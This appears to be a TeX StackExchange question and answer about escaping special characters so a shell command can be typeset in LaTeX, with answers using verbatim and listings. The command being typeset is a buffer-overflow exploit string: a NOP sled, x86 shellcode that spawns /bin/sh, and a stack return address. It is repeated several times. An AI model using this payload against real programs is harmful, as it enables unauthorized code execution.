2

I'm trying to write a Unix command in LaTeX, but it seems to be stuck on special characters. Is there a way to escape backslashes, accolades, dollar signs etc.? The command is the following

$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')

However, the following error occurs:

! Undefined control sequence. l.37 $(python -c 'print "\x 90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x7...

I also tried the \verbatim, but that doesn't work either.

1
  • 2
    \begin{verbatim} ... \end{verbatim} works fine with your code for me. Note that both \begin{verbatim} and \end{verbatim} must be on separate lines and don't include any other characters, including whitespaces.
    – andselisk
    Dec 15, 2018 at 12:06

1 Answer 1

1

Welcome TSE.

You can put such kind of text enclosed in verbatim environment but I mainly suggest you if you have many lines of codes in your document it would be better to use listings or minted packages. For more details read the manual of the packages, there are plenty of options you can apply it.

I hope the following helps you.

\documentclass{article}

\usepackage{listings}

\begin{document}
\noindent\verb|$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')|

\begin{verbatim}
$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')
\end{verbatim}

\lstset{
    stringstyle=\ttfamily,
    breaklines=true,
    frame=line
}
\begin{lstlisting}[language=python, title={My Code}]
$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')
\end{lstlisting}

\end{document}

enter image description here

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .